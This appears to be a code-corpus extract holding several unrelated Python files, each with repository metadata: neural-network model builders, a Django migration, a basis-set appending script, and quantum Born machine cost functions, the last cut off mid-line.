self.backbone = get_backbone(backbone, pretrained) # self.point_head = PointHead(in_c=1538) # def base_forward(self, x1, x2): # b, c, h, w = x1.shape # # backbone提取特征 # features1 = self.backbone.base_forward(x1) # features2 = self.backbone.base_forward(x2) # # sa1 = self.sa(features1) # # sc1 = self.sc(features1) # # sa2 = self.sa(features2) # # sc2 = self.sc(features2) # # features1 = sa1 + sc1 # # features2 = sa2 + sc2 # # head输出 # out1 = self.head(features1) # out2 = self.head(features2) # out_point1 = self.point_head(x1, features1, out1) # out_point2 = self.point_head(x2, features2, out2) # # 上采样至原图像大小 # out1 = F.interpolate(out1, size=( # h, w), mode='bilinear', align_corners=False) # out2 = F.interpolate(out2, size=( # h, w), mode='bilinear', align_corners=False) # # softmax输出 # out1 = torch.softmax(out1, dim=1) # out2 = torch.softmax(out2, dim=1) # # 输出change，并上采样 # out_bin = torch.abs(features2 - features1) # out_bin = self.head_bin(out_bin) # out_bin = F.interpolate(out_bin, size=( # h, w), mode='bilinear', align_corners=False) # out_bin = torch.softmax(out_bin, dim=1) # return out1, out2, out_bin # def forward(self, x1, x2, tta=False): # # 不加TTA # if not tta: # # 调用子类的base_forward方法 # return self.base_forward(x1, x2) # # 加TTA # else: # # 原图像输出 # out1, out2, out_bin = self.base_forward( # x1, x2) # # 原图像 # origin_x1 = x1.clone() # origin_x2 = x2.clone() # # 对dim=2翻转后输出 # x1 = origin_x1.flip(2) # x2 = origin_x2.flip(2) # cur_out1, cur_out2, cur_out_bin = self.base_forward( # x1, x2) # # 叠加输出 # out1 += cur_out1.flip(2) # out2 += cur_out2.flip(2) # out_bin += cur_out_bin.flip(2) # # 对dim=3翻转后输出 # x1 = origin_x1.flip(3) # x2 = origin_x2.flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward( # x1, x2) # out1 += cur_out1.flip(3) # out2 += cur_out2.flip(3) # out_bin += cur_out_bin.flip(3) # # 换轴再翻转 # x1 = origin_x1.transpose(2, 3).flip(3) # x2 = origin_x2.transpose(2, 3).flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward( # x1, x2) # out1 += cur_out1.flip(3).transpose(2, 3) # out2 += cur_out2.flip(3).transpose(2, 3) # out_bin += cur_out_bin.flip(3).transpose(2, 3) # # 翻转再换轴 # x1 = origin_x1.flip(3).transpose(2, 3) # x2 = origin_x2.flip(3).transpose(2, 3) # cur_out1, cur_out2, cur_out_bin = self.base_forward( # x1, x2) # out1 += cur_out1.transpose(2, 3).flip(3) # out2 += cur_out2.transpose(2, 3).flip(3) # out_bin += cur_out_bin.transpose(2, 3).flip(3) # # 同时翻转dim=2和dim=3 # x1 = origin_x1.flip(2).flip(3) # x2 = origin_x2.flip(2).flip(3) # cur_out1, cur_out2, cur_out_bin = self.base_forward( # x1, x2) # out1 += cur_out1.flip(3).flip(2) # out2 += cur_out2.flip(3).flip(2) # out_bin += cur_out_bin.flip(3).flip(2) # # 计算TTA输出均值 # out1 /= 6.0 # out2 /= 6.0 # out_bin /= 6.0 # return out1, out2, out_bin

35.793269

120

0.525252

1,919

14,890

3.875456

0.067223

0.085518

0.048407

0.064004

0.817937

0.814576

0.800592

0.782708

0.771144

0.75837

0

0.07555

0.334184

14,890

415

121

35.879518

0.674602

0.695635

0

0.144444

0

0.035495

0

0.00241

0

1

0.044444

false

0

0.088889

0

0.188889

0

null

0

1

0

null

0

6

77daa37ae75aab16ca51397f20c8860614522dac

124

py

Python

game/game/event.py

maosplx/L2py

5d81b2ea150c0096cfce184706fa226950f7f583

[ "MIT" ]

7

2020-09-01T21:52:37.000Z

2022-02-25T16:00:08.000Z

game/game/event.py

maosplx/L2py

5d81b2ea150c0096cfce184706fa226950f7f583

[ "MIT" ]

4

2021-09-10T22:15:09.000Z

2022-03-25T22:17:43.000Z

game/game/event.py

maosplx/L2py

5d81b2ea150c0096cfce184706fa226950f7f583

[ "MIT" ]

9

2020-09-01T21:53:39.000Z

2022-03-30T12:03:04.000Z

from dataclasses import dataclass from common import BaseDataclass @dataclass class ServerEvent(BaseDataclass): pass

13.777778

33

0.814516

13

124

7.769231

0.692308

0

0.153226

124

8

34

15.5

0.961905

0

1

0

true

0.2

0.4

0

0.6

0

1

0

null

0

1

0

null

0

1

0

1

0

6

7acd80ea5ead306c357e27b55b3f9952aeca4869

27

py

Python

radforest/geometry/__init__.py

argram30/RadForest

585ba9dfd83dd2775ae4ef3c24c32be10d8aa88d

[ "MIT" ]

4

2018-02-04T19:04:01.000Z

2022-02-09T04:11:18.000Z

radforest/geometry/__init__.py

argram30/RadForest

585ba9dfd83dd2775ae4ef3c24c32be10d8aa88d

[ "MIT" ]

21

2017-08-15T21:13:42.000Z

2021-12-23T20:07:24.000Z

radforest/geometry/__init__.py

argram30/RadForest

585ba9dfd83dd2775ae4ef3c24c32be10d8aa88d

[ "MIT" ]

1

2021-01-28T18:29:12.000Z

from .sphere import Sphere

13.5

26

0.814815

4

27

5.5

0.75

0

0.148148

27

1

27

0.956522

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

7ad5d50db314c16ca28ca059efd0e369fa13b39b

11,646

py

Python

define_models.py

miladkhademinori/class-incremental-learning

21dd41d31dea1dfafb1e8d90d7f0a1be6b1c6e66

[ "MIT" ]

33

2021-04-21T10:24:08.000Z

2022-03-20T14:59:50.000Z

define_models.py

Bethhhh/class-incremental-learning

21dd41d31dea1dfafb1e8d90d7f0a1be6b1c6e66

[ "MIT" ]

null

define_models.py

Bethhhh/class-incremental-learning

21dd41d31dea1dfafb1e8d90d7f0a1be6b1c6e66

[ "MIT" ]

8

2021-05-08T23:33:37.000Z

2021-12-13T07:31:43.000Z

import utils from utils import checkattr ##-------------------------------------------------------------------------------------------------------------------## ## Function for defining auto-encoder model def define_vae_classifier(args, config, device, depth=0): # -import required model from models.vae_with_classifier import AutoEncoder # -create model if depth > 0: model = AutoEncoder( image_size=config['size'], image_channels=config['channels'], classes=config['classes'], # -conv-layers conv_type=args.conv_type, depth=depth, start_channels=args.channels, reducing_layers=args.rl, num_blocks=args.n_blocks, conv_bn=True if args.conv_bn == "yes" else False, conv_nl=args.conv_nl, global_pooling=checkattr(args, 'gp'), # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, fc_drop=args.fc_drop, fc_bn=True if args.fc_bn == "yes" else False, fc_nl=args.fc_nl, excit_buffer=True, # -prior prior=args.prior if hasattr(args, "prior") else "standard", n_modes=args.n_modes if hasattr(args, "n_modes") else 1, z_dim=args.z_dim, per_class=args.per_class if hasattr(args, "prior") else False, # -decoder recon_loss=args.recon_loss, network_output="sigmoid" if args.experiment == "MNIST" else "none", deconv_type=args.deconv_type if hasattr(args, "deconv_type") else "standard", dg_gates=utils.checkattr(args, 'dg_gates'), device=device, dg_prop=args.dg_prop if hasattr(args, 'dg_prop') else 0., # -classifier classifier=True, classify_opt=args.classify if hasattr(args, "classify") else "beforeZ", lamda_pl=1. ).to(device) else: model = AutoEncoder( image_size=config['size'], image_channels=config['channels'], classes=config['classes'], # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, fc_drop=args.fc_drop, fc_bn=True if args.fc_bn == "yes" else False, fc_nl=args.fc_nl, excit_buffer=True, # -prior prior=args.prior if hasattr(args, "prior") else "standard", n_modes=args.n_modes if hasattr(args, "n_modes") else 1, z_dim=args.z_dim, per_class=args.per_class if hasattr(args, "prior") else False, # -decoder recon_loss=args.recon_loss, network_output="sigmoid" if args.experiment == "MNIST" else "none", deconv_type=args.deconv_type if hasattr(args, "deconv_type") else "standard", dg_gates=utils.checkattr(args, 'dg_gates'), device=device, dg_prop=args.dg_prop if hasattr(args, 'dg_prop') else 0., # -classifier classifier=True, classify_opt=args.classify if hasattr(args, "classify") else "beforeZ", lamda_pl=1., ).to(device) # -return model return model ##-------------------------------------------------------------------------------------------------------------------## ## Function for defining auto-encoder model def define_autoencoder(args, config, device, depth=0): # -import required model from models.vae import AutoEncoder # -create model if depth > 0: model = AutoEncoder( image_size=config['size'], image_channels=config['channels'], # -conv-layers conv_type=args.conv_type, depth=depth, start_channels=args.channels, reducing_layers=args.rl, num_blocks=args.n_blocks, conv_bn=True if args.conv_bn=="yes" else False, conv_nl=args.conv_nl, global_pooling=False, no_fnl=True if args.conv_type=="standard" else False, # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, fc_drop=args.fc_drop, fc_bn=True if args.fc_bn=="yes" else False, fc_nl=args.fc_nl, excit_buffer=True, # -prior prior=args.prior if hasattr(args, "prior") else "standard", n_modes=args.n_modes if hasattr(args, "n_modes") else 1, z_dim=args.z_dim, # -decoder recon_loss=args.recon_loss, network_output="sigmoid" if args.experiment=="MNIST" else "none", deconv_type=args.deconv_type if hasattr(args, "deconv_type") else "standard", ).to(device) else: model = AutoEncoder( image_size=config['size'], image_channels=config['channels'], # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, fc_drop=args.fc_drop, fc_bn=True if args.fc_bn=="yes" else False, fc_nl=args.fc_nl, excit_buffer=True, # -prior prior=args.prior if hasattr(args, "prior") else "standard", n_modes=args.n_modes if hasattr(args, "n_modes") else 1, z_dim=args.z_dim, # -decoder recon_loss=args.recon_loss, network_output="sigmoid" if args.experiment=="MNIST" else "none", deconv_type=args.deconv_type if hasattr(args, "deconv_type") else "standard", ).to(device) # -return model return model ##-------------------------------------------------------------------------------------------------------------------## ## Function for defining feature extractor model def define_feature_extractor(args, config, device): # -import required model from models.feature_extractor import FeatureExtractor # -create model model = FeatureExtractor( image_size=config['size'], image_channels=config['channels'], # -conv-layers conv_type=args.conv_type, depth=args.depth, start_channels=args.channels, reducing_layers=args.rl, num_blocks=args.n_blocks, conv_bn=True if args.conv_bn=="yes" else False, conv_nl=args.conv_nl, global_pooling=checkattr(args, 'gp'), ).to(device) # -return model return model ##-------------------------------------------------------------------------------------------------------------------## ## Function for defining SLDA model def define_slda(args, num_features, classes, device='cpu'): from models.slda import StreamingLDA # -create model classifier = StreamingLDA( num_features=num_features, classes=classes, # -slda parameters epsilon=1e-4, device=device, covariance=args.covariance if hasattr(args, 'covariance') else "identity", ).to(device) return classifier ##-------------------------------------------------------------------------------------------------------------------## ## Function for defining classifier model def define_classifier(args, config, device, no_fnl_fc=False, depth=0): # -import required model from models.classifier import Classifier # -create model if depth > 0: model = Classifier( image_size=config['size'], image_channels=config['channels'], classes=config['classes'], # -conv-layers conv_type=args.conv_type, depth=depth, start_channels=args.channels, reducing_layers=args.rl, num_blocks=args.n_blocks, conv_bn=True if args.conv_bn=="yes" else False, conv_nl=args.conv_nl, global_pooling=checkattr(args, 'gp'), no_fnl=True if args.conv_type=="standard" else False, # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, no_fnl_fc=no_fnl_fc, fc_drop=args.fc_drop, fc_bn=True if args.fc_bn=="yes" else False, fc_nl=args.fc_nl, excit_buffer=True, # -training related parameters neg_samples=args.neg_samples if hasattr(args, "neg_samples") else "all", classes_per_task=config['classes_per_task'] if hasattr(args, "tasks") else None ).to(device) else: model = Classifier( image_size=config['size'], image_channels=config['channels'], classes=config['classes'], # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, no_fnl_fc=no_fnl_fc, fc_drop=args.fc_drop, fc_bn=True if args.fc_bn=="yes" else False, fc_nl=args.fc_nl, excit_buffer=True, # -training related parameters neg_samples=args.neg_samples if hasattr(args, "neg_samples") else "all", classes_per_task=config['classes_per_task'] if hasattr(args, "tasks") else None ).to(device) # -return model return model ##-------------------------------------------------------------------------------------------------------------------## ## Function for defining auto-encoder model def define_gen_classifer(args, config, device, convE=None, depth=0): # -import required model from models.gen_classsifier import GenClassifier # -create model if depth > 0: model = GenClassifier( image_size=config['size'], image_channels=config['channels'], classes=config['classes'], # -conv-layers conv_type=args.conv_type, depth=depth, start_channels=args.channels, reducing_layers=args.rl, conv_bn=(args.conv_bn=="yes"), conv_nl=args.conv_nl, num_blocks=args.n_blocks, convE=convE, global_pooling=checkattr(args, 'gp'), # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, fc_drop=args.fc_drop, fc_bn=(args.fc_bn=="yes"), fc_nl=args.fc_nl, excit_buffer=True, # -prior prior=args.prior, n_modes=args.n_modes, z_dim=args.z_dim, # -decoder recon_loss=args.recon_loss, network_output="sigmoid" if args.experiment=='MNIST' else "none", deconv_type=args.deconv_type if hasattr(args, "deconv_type") else "standard", ).to(device) else: model = GenClassifier( image_size=config['size'], image_channels=config['channels'], classes=config['classes'], # -fc-layers fc_layers=args.fc_lay, fc_units=args.fc_units, h_dim=args.h_dim, fc_drop=args.fc_drop, fc_bn=(args.fc_bn=="yes"), fc_nl=args.fc_nl, excit_buffer=True, # -prior prior=args.prior, n_modes=args.n_modes, z_dim=args.z_dim, # -decoder recon_loss=args.recon_loss, network_output="sigmoid" if args.experiment=='MNIST' else "none", deconv_type=args.deconv_type if hasattr(args, "deconv_type") else "standard", ).to(device) # -return model return model ##-------------------------------------------------------------------------------------------------------------------## ## Function for (re-)initializing the parameters of [model] def init_params(model, args): # - reinitialize all parameters according to default initialization model.apply(utils.weight_reset) # - initialize parameters according to chosen custom initialization (if requested) if hasattr(args, 'init_weight') and not args.init_weight=="standard": utils.weight_init(model, strategy="xavier_normal") if hasattr(args, 'init_bias') and not args.init_bias=="standard": utils.bias_init(model, strategy="constant", value=0.01) # - use pre-trained weights in conv-layers? if utils.checkattr(args, "pre_convE") and hasattr(model, 'depth') and model.depth>0: load_name = model.convE.name if ( not hasattr(args, 'convE_ltag') or args.convE_ltag=="none" ) else "{}-{}".format(model.convE.name, args.convE_ltag) utils.load_checkpoint(model.convE, model_dir=args.m_dir, name=load_name) return model ##-------------------------------------------------------------------------------------------------------------------##

53.668203

119

0.603469

1,480

11,646

4.531757

0.100676

0.035784

0.052333

0.017892

0.798867

0.789175

0.78351

0.773073

0.766513

0.758014

0

0.00238

0.206423

11,646

217

120

53.668203

0.723328

0.173794

0

0.720588

0

0.079135

0

1

0.051471

false

0

0.058824

0

0.161765

0

null

0

1

0

1

0

null

0

6

bb2f2780686f146e56e28a9a44b5dcd3a31cb92f

865

py

Python

basis_set_append/append.py

JorgeG94/useful_tools

50a085a4aa48fe435f6b9fa8bef44d74c220f289

[ "MIT" ]

null

basis_set_append/append.py

JorgeG94/useful_tools

50a085a4aa48fe435f6b9fa8bef44d74c220f289

[ "MIT" ]

null

basis_set_append/append.py

JorgeG94/useful_tools

50a085a4aa48fe435f6b9fa8bef44d74c220f289

[ "MIT" ]

null

from basis import * import fileinput import sys file = sys.argv[1] for line in fileinput.FileInput(file,inplace=1): if "C 6.0" in line: line = line.replace(line,line+carbon_sto3g_basis) print(line, end='') for line in fileinput.FileInput(file, inplace=1): if "H 1.0" in line: line = line.replace(line,line+hydrogen_sto3g_basis) print(line, end='') for line in fileinput.FileInput(file, inplace=1): if "O 8.0" in line: line = line.replace(line,line+oxygen_sto3g_basis) print(line, end='') for line in fileinput.FileInput(file, inplace=1): if "W 74.0" in line: line = line.replace(line,line+tungsten_basis) print(line, end='') for line in fileinput.FileInput(file, inplace=1): if "P 15.0" in line: line = line.replace(line,line+phosphorus_sto3g_basis) print(line, end='')

27.903226

58

0.65896

135

865

4.155556

0.237037

0.213904

0.080214

0.160428

0.819964

0.780749

0.513369

0.440285

0

0.032117

0.208092

865

30

59

28.833333

0.786861

0

0.416667

0

0.053892

0

1

0

false

0

0.125

0

0.125

0.208333

0

null

1

0

1

0

null

0

6

bb4e4b7a59c3436e9e78c08338a7ace017a89c47

4,179

py

Python

api/migrations/0001_initial.py

KamilJakubczak/budget-api

b1c602b38183b46d09b267a3b848d3dcf5d293c6

[ "MIT" ]

null

api/migrations/0001_initial.py

KamilJakubczak/budget-api

b1c602b38183b46d09b267a3b848d3dcf5d293c6

[ "MIT" ]

3

2020-08-25T18:19:42.000Z

2022-02-13T19:39:19.000Z

api/migrations/0001_initial.py

KamilJakubczak/budget-api

b1c602b38183b46d09b267a3b848d3dcf5d293c6

[ "MIT" ]

null

# Generated by Django 3.0.7 on 2020-08-17 20:03 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Category', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ('parent_category', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.Category')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Payment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('payment', models.CharField(max_length=100)), ('initial_amount', models.DecimalField(decimal_places=2, max_digits=10)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Tag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ('enabled', models.BooleanField(default=True)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='TransactionType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('transaction_type', models.CharField(max_length=100)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Transaction', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('transaction_date', models.DateField()), ('description', models.CharField(blank=True, max_length=500)), ('amount', models.DecimalField(decimal_places=2, max_digits=10)), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Category')), ('payment_source', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='payment_source', to='api.Payment')), ('payment_target', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='payment_target', to='api.Payment')), ('tag', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.Tag')), ('transaction_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.TransactionType')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='PaymentInitial', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('amount', models.DecimalField(decimal_places=2, max_digits=10)), ('payment', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='payment_initial', to='api.Payment')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'unique_together': {('user', 'payment')}, }, ), ]

52.2375

171

0.614501

441

4,179

5.662132

0.185941

0.048058

0.078494

0.123348

0.751302

0.729676

0.670805

0

0.012346

0.244078

4,179

79

172

52.898734

0.778094

0.010768

0

0.555556

1

0

0.103098

0

1

0

false

0

0.041667

0

0.097222

0

null

0

1

0

1

0

null

0

6

bb513f1a011c3d4aad7783997f86ec67a1c17b1e

29

py

Python

rekord_wrangler/ui/__init__.py

tullyvey/rekord-wrangler

a1c5fdbbf2d0f20b0a2daf9a2b0336de71478918

[ "MIT" ]

null

rekord_wrangler/ui/__init__.py

tullyvey/rekord-wrangler

a1c5fdbbf2d0f20b0a2daf9a2b0336de71478918

[ "MIT" ]

null

rekord_wrangler/ui/__init__.py

tullyvey/rekord-wrangler

a1c5fdbbf2d0f20b0a2daf9a2b0336de71478918

[ "MIT" ]

null

from .main import MainWindow

14.5

28

0.827586

4

29

6

1

0

0.137931

29

1

29

0.96

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

24a4db80effede1a31ee897cfae682169088ba14

61

py

Python

conda_forge_tick/__init__.py

brlavon14/cf-scripts

417f547c3fd269ed581b13f9444462a5b2f8bb46

[ "BSD-3-Clause" ]

null

conda_forge_tick/__init__.py

brlavon14/cf-scripts

417f547c3fd269ed581b13f9444462a5b2f8bb46

[ "BSD-3-Clause" ]

null

conda_forge_tick/__init__.py

brlavon14/cf-scripts

417f547c3fd269ed581b13f9444462a5b2f8bb46

[ "BSD-3-Clause" ]

null

import xonsh.imphooks xonsh.imphooks.install_import_hooks()

15.25

37

0.852459

8

61

6.25

0.625

0.52

0

0.065574

61

3

38

20.333333

0.877193

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

24adfecddad9402e81cc1f4275ba8f83f17252c6

66

py

Python

tests/zip/source/func.py

fbiville/python3-function-invoker

12056d22dd4abf89377005fdad75c472a2c5a444

[ "Apache-2.0" ]

3

2018-03-25T08:25:26.000Z

2019-02-10T02:01:12.000Z

tests/zip/source/func.py

fbiville/python3-function-invoker

12056d22dd4abf89377005fdad75c472a2c5a444

[ "Apache-2.0" ]

11

2018-03-14T23:14:23.000Z

2019-11-08T16:33:40.000Z

tests/zip/source/func.py

fbiville/python3-function-invoker

12056d22dd4abf89377005fdad75c472a2c5a444

[ "Apache-2.0" ]

7

2018-02-22T16:18:45.000Z

2019-03-12T02:45:46.000Z

from helpers import upper def handler(val): return upper(val)

16.5

25

0.742424

10

66

4.9

0.8

0

0.181818

66

3

26

22

0.907407

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

24be65b4126c52a869a9c759923ca1fd8d99e12e

45

py

Python

enthought/pyface/list_box.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

3

2016-12-09T06:05:18.000Z

2018-03-01T13:00:29.000Z

enthought/pyface/list_box.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

1

2020-12-02T00:51:32.000Z

2020-12-02T08:48:55.000Z

enthought/pyface/list_box.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

null

# proxy module from pyface.list_box import *

15

29

0.777778

7

45

4.857143

1

0

0.155556

45

2

30

22.5

0.894737

0.266667

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

24f1c0050dd3975d2dc4f3ef983ec7657831f4d8

18,477

py

Python

cost_functions.py

mrnp95/IsingBornMachine

23cf1917a8aa977bb25f0113d8df51f0643d72f1

[ "MIT" ]

16

2019-04-05T01:03:15.000Z

2022-02-03T10:57:42.000Z

cost_functions.py

mrnp95/IsingBornMachine

23cf1917a8aa977bb25f0113d8df51f0643d72f1

[ "MIT" ]

1

2021-01-19T03:02:18.000Z

2021-01-23T23:14:22.000Z

cost_functions.py

mrnp95/IsingBornMachine

23cf1917a8aa977bb25f0113d8df51f0643d72f1

[ "MIT" ]

1

2020-10-19T13:25:13.000Z

import numpy as np from random import * from classical_kernel import GaussianKernelArray from quantum_kernel import QuantumKernelArray from numpy import linalg as LA from file_operations_in import KernelDictFromFile import stein_functions as sf import sinkhorn_functions as shornfun import auxiliary_functions as aux import sys import json import time def KernelSum(samplearray1, samplearray2, kernel_dict): ''' This function computes the contribution to the MMD from the empirical distibutions from two sets of samples. kernel_dict contains the kernel values for all pairs of binary strings ''' if type(samplearray1) is not np.ndarray or type(samplearray2) is not np.ndarray: raise TypeError('The input samples must be in numpy arrays') N_samples1 = samplearray1.shape[0] N_samples2 = samplearray2.shape[0] kernel_array = np.zeros((N_samples1, N_samples2)) for sample1_index in range(0, N_samples1): for sample2_index in range(0, N_samples2): sample1 = aux.ToString(samplearray1[sample1_index]) sample2 = aux.ToString(samplearray2[sample2_index]) kernel_array[sample1_index, sample2_index] = kernel_dict[(sample1, sample2)] return kernel_array def CostFunction(qc, cost_func, data_samples, data_exact_dict, born_samples, born_probs_dict, N_samples, kernel_choice, stein_params, flag, sinkhorn_eps): ''' This function computes the cost function between two distributions P and Q from samples from P and Q ''' #Extract unique samples and corresponding empirical probabilities from set of samples born_emp_samples, born_emp_probs, _, _ = aux.ExtractSampleInformation(born_samples) data_emp_samples, data_emp_probs, _, _ = aux.ExtractSampleInformation(data_samples) if cost_func.lower() == 'mmd': score_choice = stein_params[0] if score_choice.lower() == 'approx': if (flag.lower() == 'onfly'): if (kernel_choice.lower() == 'gaussian'): sigma = np.array([0.25, 10, 1000]) #Compute the Gaussian kernel on the fly for all samples in the sample space kernel_born_born_emp = GaussianKernelArray(born_emp_samples, born_emp_samples, sigma) kernel_born_data_emp = GaussianKernelArray(born_emp_samples, data_emp_samples, sigma) kernel_data_data_emp = GaussianKernelArray(data_emp_samples, data_emp_samples, sigma) elif kernel_choice.lower() == 'quantum': N_kernel_samples = N_samples[-1] #Number of kernel samples is the last element of N_samples #Compute the Quantum kernel on the fly for all pairs of samples required kernel_born_born_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_emp_samples) kernel_born_data_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, data_emp_samples) kernel_data_data_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, data_emp_samples, data_emp_samples) elif (flag.lower() == 'precompute'): #Compute the empirical data distibution given samples kernel_dict = KernelDictFromFile(qc, N_samples, kernel_choice) kernel_born_born_emp = KernelSum(born_emp_samples, born_emp_samples, kernel_dict) kernel_born_data_emp = KernelSum(born_emp_samples, data_emp_samples, kernel_dict) kernel_data_data_emp = KernelSum(data_emp_samples, data_emp_samples, kernel_dict) else: raise ValueError('\'flag\' must be either \'Onfly\' or \'Precompute\'') loss = np.dot(np.dot(born_emp_probs, kernel_born_born_emp), born_emp_probs) \ - 2*np.dot(np.dot(born_emp_probs, kernel_born_data_emp), data_emp_probs) \ + np.dot(np.dot(data_emp_probs, kernel_data_data_emp), data_emp_probs) elif score_choice.lower() == 'exact': #Compute MMD using exact data probabilities if score is exact data_exact_samples = aux.SampleListToArray(list(data_exact_dict.keys()), len(qc.qubits()), 'int') data_exact_probs = np.asarray(list(data_exact_dict.values())) if (flag.lower() == 'onfly'): if (kernel_choice.lower() == 'gaussian'): sigma = np.array([0.25, 10, 1000]) #Compute the Gaussian kernel on the fly for all samples in the sample space kernel_born_born_emp = GaussianKernelArray(born_emp_samples, born_emp_samples, sigma) kernel_born_data_emp = GaussianKernelArray(born_emp_samples, data_exact_samples, sigma) kernel_data_data_emp = GaussianKernelArray(data_exact_samples, data_exact_samples, sigma) elif kernel_choice.lower() == 'quantum': N_kernel_samples = N_samples[-1] #Number of kernel samples is the last element of N_samples #Compute the Quantum kernel on the fly for all pairs of samples required kernel_born_born_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, born_emp_samples) kernel_born_data_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_emp_samples, data_exact_samples) kernel_data_data_emp ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, data_exact_samples, data_exact_samples) elif (flag.lower() == 'precompute'): #Compute the empirical data distibution given samples kernel_dict = KernelDictFromFile(qc, N_samples, kernel_choice) kernel_born_born_emp = KernelSum(born_emp_samples, born_emp_samples, kernel_dict) kernel_born_data_emp = KernelSum(born_emp_samples, data_exact_samples, kernel_dict) kernel_data_data_emp = KernelSum(data_exact_samples, data_exact_samples, kernel_dict) else: raise ValueError('\'flag\' must be either \'Onfly\' or \'Precompute\'') loss = np.dot(np.dot(born_emp_probs, kernel_born_born_emp), born_emp_probs) \ - 2*np.dot(np.dot(born_emp_probs, kernel_born_data_emp), data_emp_probs) \ + np.dot(np.dot(data_exact_probs, kernel_data_data_emp), data_emp_probs) elif cost_func.lower() == 'stein': if flag.lower() == 'onfly': if (kernel_choice.lower() == 'gaussian'): sigma = np.array([0.25, 10, 1000]) kernel_array = GaussianKernelArray(born_emp_samples, born_emp_samples, sigma) elif kernel_choice.lower() == 'quantum': kernel_array ,_,_,_ = QuantumKernelArray(qc, N_kernel_samples, born_samples, born_samples) else: raise ValueError('Stein only supports Gaussian kernel currently') elif flag.lower() == 'precompute': kernel_dict = KernelDictFromFile(qc, N_samples, kernel_choice) kernel_array = KernelSum(born_emp_samples, born_emp_samples, kernel_dict) else: raise ValueError('\'flag\' must be either \'Onfly\' or \'Precompute\'') stein_flag = 'Precompute' kernel_stein_weighted = sf.WeightedKernel(qc,kernel_choice, kernel_array, N_samples, \ data_samples, data_exact_dict, \ born_emp_samples, born_emp_samples, \ stein_params, stein_flag) loss = np.dot(np.dot(born_emp_probs, kernel_stein_weighted), born_emp_probs) elif cost_func.lower() == 'sinkhorn': #If Sinkhorn cost function to be used loss = shornfun.FeydySink(born_samples, data_samples, sinkhorn_eps).item() else: raise ValueError('\'cost_func\' must be either \'MMD\', \'Stein\', or \'Sinkhorn\' ') return loss def CostGrad(qc, cost_func, data_samples, data_exact_dict, born_samples, born_probs_dict, born_samples_pm, N_samples, kernel_choice, stein_params, flag, sinkhorn_eps): ''' This function computes the gradient of the desired cost function, cost_func, using the various parameters ''' [born_samples_plus, born_samples_minus] = born_samples_pm #extract unique samples, and corresponding probabilities from a list of samples born_emp_samples, born_emp_probs, _, _ = aux.ExtractSampleInformation(born_samples) data_emp_samples, data_emp_probs, _, _ = aux.ExtractSampleInformation(data_samples) born_plus_emp_samples, born_plus_emp_probs, _, _ = aux.ExtractSampleInformation(born_samples_plus) born_minus_emp_samples, born_minus_emp_probs, _, _ = 